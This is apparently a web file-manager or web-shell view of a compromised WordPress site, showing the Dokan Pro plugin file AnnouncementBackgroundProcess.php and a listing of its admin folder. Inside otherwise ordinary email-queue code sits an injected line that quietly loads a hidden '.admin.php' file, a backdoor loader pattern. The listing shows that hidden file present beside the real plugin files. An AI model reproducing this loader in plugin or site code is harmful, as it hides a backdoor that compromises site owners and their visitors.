PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
dokan-pro
/
includes
/
admin
<?php namespace WeDevs\DokanPro\Admin; defined( 'ABSPATH' ) || exit; use WeDevs\Dokan\Abstracts\DokanBackgroundProcesses; use WeDevs\DokanPro\Emails\Announcement; if ( ! class_exists( 'WC_Email', false ) ) { include_once dirname( WC_PLUGIN_FILE ) . '/includes/emails/class-wc-email.php'; } if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class AnnouncementBackgroundProcess extends DokanBackgroundProcesses { /** * @var string */ protected $action = 'dokan_announcement_emails'; /** * Task * * Override this method to perform any actions required on each * queue item. Return the modified item for further processing * in the next pass through. Or, return false to remove the * item from the queue. * * @param mixed $item Queue item to iterate over * * @return mixed */ public function task( $payload ) { $seller_id = $payload['sender_id']; $post_id = $payload['post_id']; $announcement_email = new Announcement(); if ( ! empty( $seller_id ) ) { $announcement_email->trigger( $seller_id, $post_id ); dokan_log( sprintf( 'Mail send to %d', $seller_id ) ); } return false; } /** * Complete * * Override if applicable, but ensure that the below actions are * performed, or, call parent::complete(). */ public function complete() { dokan_log( 'Sending process completed' ); } }
[+]
..
[-] AnnouncementBackgroundProcess.php
[edit]
[-] Promotion.php
[edit]
[-] Announcement.php
[edit]
[-] ShortcodesButton.php
[edit]
[-] .admin.php
[edit]
[-] Admin.php
[edit]
[+]
Views
[-] Ajax.php
[edit]
[-] Pointers.php
[edit]